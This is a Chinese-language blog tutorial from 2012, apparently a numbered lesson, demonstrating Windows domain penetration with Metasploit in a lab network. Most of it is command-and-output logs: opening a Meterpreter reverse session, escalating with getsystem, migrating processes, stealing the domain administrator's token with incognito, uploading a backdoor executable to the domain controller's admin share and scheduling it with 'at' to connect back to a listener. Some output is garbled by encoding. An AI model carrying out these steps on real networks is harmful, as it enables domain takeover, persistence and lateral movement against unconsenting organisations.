域入侵 :metasploit

2012-06-26 21:07:09 By admin

前言

教学文档的150课
域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当电脑联入网络时，域控制器首先要鉴别这台电脑是否是属于这个域的，用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确，那么域控制器就会拒绝这个用户从这台电脑登录。不能登录，用户就不能访问服务器上有权限保护的资源，他只能以对等网用户的方式访问Windows共享出来的资源，这样就在一定程度上保护了网络上的资源。
很多时候我们在渗透的时候几乎都在内网旁注等xx操作,但是你知道吗,其实很多时候我们都进入了一个域,但你知道怎么进行域渗透吗?这里秒杀将为你科普下! 首先还是先简要看一下域的概念吧 : 域 (Domain) 是Windows网络中独立运行的单位，域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后，2个域之间不但可以按需要相互进行管理，还可以跨网分配文件 和打印机等设备资源，使不同的域之间实现网络资源的共享与管理。 域既是Windows 网络操作系统的逻辑组织单元，也是Internet的逻辑组织单元，在 Windows 网络操作系统中，域是安全边界。域管理员只能管理域的内部，除非其他的域显式地赋予他管理权限，他才能够访问或者管理其他的域 ;每个域都有自己的安全策 略，以及它与其他域的安全信任关系。 通过上述的了解，我们可以知道域管理员的权限是相当大的，域管理员可以通过持有域的登陆票据从而实现对域内各个计算机的远程管理，即有权限登陆任何一台机器。

渗透测试

获得WIN2 2权限

```
msf  exploit(handler) >  [*] Sending stage (752128 bytes) to 1.1.1.7
[*] Meterpreter session 2 opened (1.1.1.3:4444 ->  1.1.1.7:1140) at 2012-06-26 13:45:26 -0700

msf  exploit(handler) >  sessions -i 2
[*] Starting interaction with 2...

meterpreter >
```

选转移进程，获得权限，

```
meterpreter >  getpid
Current pid: 1012
meterpreter >  getsystem
...got system (via technique 1).
meterpreter >  ps
```

Process List
============

PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process] 4294967295
4 0 System x86 0 NT AUTHORITY\SYSTEM
372 4 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
520 372 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
544 372 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
588 1556 door.exe x86 0 DIS9TEAM-WEB\brk UC:\Documents and Settings\brk\\door.exe-0x433a5c446f63756d656e747320616e642053657474696e67735c62726b5cd7c0c3e65c646f6f722e657865
656 544 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
668 544 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
780 656 oyijtv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\oyijtv.exe
824 656 VBoxService.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\VBoxService.exe
868 656 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
884 656 jqs.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Oracle\JavaFX 2.1 Runtime\bin\jqs.exe
956 656 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1012 1556 door.exe x86 0 DIS9TEAM-WEB\brk UC:\Documents and Settings\brk\\door.exe-0x433a5c446f63756d656e747320616e642053657474696e67735c62726b5cd7c0c3e65c646f6f722e657865
1036 656 metsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\TEMP\pylKOWGaBzNTzUc\metsvc.exe
1048 656 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1096 656 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1144 656 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1284 656 mennkb.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\mennkb.exe
1356 1556 VBoxTray.exe x86 0 DIS9TEAM-WEB\brk C:\WINDOWS\system32\VBoxTray.exe
1404 656 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1464 656 smkvye.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\smkvye.exe
1540 656 huslgx.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\huslgx.exe
1556 1948 explorer.exe x86 0 DIS9TEAM-WEB\brk C:\WINDOWS\Explorer.EXE
1788 1556 ctfmon.exe x86 0 DIS9TEAM-WEB\brk C:\WINDOWS\system32\ctfmon.exe
1828 1556 jusched.exe x86 0 DIS9TEAM-WEB\brk C:\Program Files\Common Files

```
\Java\Java Update\jusched.exe
 1868  656   kmyltu.exe       x86   0        NT AUTHORITY\SYSTEM          C:\WINDOWS\kmyltu.exe
 1900  656   fmklai.exe       x86   0        NT AUTHORITY\SYSTEM          C:\WINDOWS\fmklai.exe
 1944  656   alg.exe          x86   0        NT AUTHORITY\LOCAL SERVICE   C:\WINDOWS\System32\alg.e
xe

meterpreter >  migrate 1048
[*] Migrating to 1048...
[*] Migration completed successfully.
meterpreter >
```

先测试一下：

```
meterpreter >  shell
Process 1640 created.
Channel 1 created.
Microsoft Windows XP [□汾 5.1.2600]
(C) □ □ □ □ □ □ □ 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>  net view
net view
□ □          □ □ □ □ □ □ □ □ □ □

---------------------------------------------------------------------------
\\DIS9TEAM-DOMAIN      DIS9-Domain
\\DIS9TEAM-V2
\\DIS9TEAM-WEB
□ □ □ □ □ □ □ □ □ □ □ □

C:\WINDOWS\system32>  dir \\DIS9TEAM-DOMAIN\c$
dir \\DIS9TEAM-DOMAIN\c$
□ □ □ □ □ □ □ □

C:\WINDOWS\system32>
```

无权限

劫持域管理

进入模块

```
meterpreter >  use incognito
Loading extension incognito...success.
meterpreter >
```

查看域

```
meterpreter >  list_tokens -u

Delegation Tokens Available
========================================
DIS9\Administrator
DIS9TEAM-WEB\brk
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

meterpreter >
```

DIS9\Administrator就是域管理，我们劫持他

```
meterpreter >  impersonate_token DIS9\\Administrator
[+] Delegation token available
[+] Successfully impersonated user DIS9\Administrator
meterpreter >  getuid
Server username: DIS9\Administrator
meterpreter >
```

成功了

获得权限

上传木马到获得的普通机子 1.1.1.7

meterpreter > upload /var/www/door.exe c:\
[*] uploading : /var/www/door.exe -> c:\
[*] uploaded : /var/www/door.exe -> c:\\door.exe
meterpreter > shell
Process 1732 created.
Channel 5 created.
Microsoft Windows XP [汾 5.1.2600]
(C) 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> dir c:\
dir c:\

□ □ □ □ □ □ C □e□ □ □ □6□ □ □ □
□ □ □ □ □ □ □κ□ □ □ 745F-82DD

c:\ □ □L¼

2012-06-22 07:36 0 AUTOEXEC.BAT
2012-06-22 07:36 0 CONFIG.SYS
2012-06-26 06:49

C:\> copy door.exe \\DIS9TEAM-DOMAIN\c$
copy door.exe \\DIS9TEAM-DOMAIN\c$
□ □ □ □ □ 1 □ □ □ □ □ □ □

C:\>

获得DIS9TEAM-DOMAIN的时间

C:\> net time \\DIS9TEAM-DOMAIN
net time \\DIS9TEAM-DOMAIN
\\DIS9TEAM-DOMAIN □ □ □ □ □ □ □ □ 2012/6/27 □ □ □ □ 05:02

□ □ □ □ □ □ □ □ □ □ □

C:\>

时间是05.02,添加一项作业 5.04运行木马door.exe 然后MSF监听

C:\at \\DIS9TEAM-DOMAIN 05:04 c:\door.exe
at \\DIS9TEAM-DOMAIN 05:04 c:\door.exe
□¼□ □ □ □ □ □ □ □ □ □ □ □ □ □ ID = 3

C:\> exit
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > exploit

[*] Started reverse handler on 1.1.1.3:4444
[*] Starting the payload handler...

继续拿下其他机子